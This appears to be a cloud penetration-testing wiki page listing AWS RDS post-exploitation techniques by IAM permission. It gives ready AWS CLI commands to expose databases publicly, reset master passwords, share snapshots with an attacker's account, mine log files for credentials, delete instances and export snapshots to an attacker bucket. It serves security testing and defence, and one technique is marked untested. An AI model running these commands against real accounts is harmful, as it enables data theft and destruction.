AWS - RDS Post Exploitation

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pageAWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

If the attacker has enough permissions, he could make a DB publicly accessible by creating a snapshot of the DB, and then a publicly accessible DB from the snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
    --db-instance-identifier <db-id> \
    --db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier "new-db-not-malicious" \
    --db-snapshot-identifier <scapshotId> \
    --db-subnet-group-name <db subnet group> \
    --publicly-accessible \
    --vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
    --db-instance-identifier "new-db-not-malicious" \
    --master-user-password 'Llaody2f6.123' \

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

An attacker with these permissions could create an snapshot of a DB and make it publicly available. Then, he could just create in his own account a DB from that snapshot.

If the attacker doesn't have the rds:CreateDBSnapshot, he still could make other created snapshots public.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}


An attacker with the rds:DownloadDBLogFilePortion permission can download portions of an RDS instance's log files. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potential Impact: Access to sensitive information or unauthorized actions using leaked credentials.


An attacker with these permissions can DoS existing RDS instances.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potential impact: Deletion of existing RDS instances, and potential loss of data.


TODO: Test

An attacker with this permission can export an RDS instance snapshot to an S3 bucket. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potential impact: Access to sensitive data in the exported snapshot.

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